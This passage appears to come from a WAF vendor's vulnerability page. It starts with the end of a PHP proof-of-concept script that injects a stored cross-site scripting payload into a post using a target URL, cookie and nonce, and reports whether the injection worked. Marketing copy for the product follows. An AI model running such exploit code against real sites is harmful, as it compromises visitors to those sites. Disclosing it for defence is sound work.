list($status, $response) = exploit($target_url, $cookie, $nonce, $post_id, $content);

if ($status === 200) {
    echo "[+] Payload injected successfully.n";
    echo "[+] Access the post URL to trigger XSS.n";
} else {
    echo "[!] Exploit failed. HTTP status: {$status}n";
    echo $response . "n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.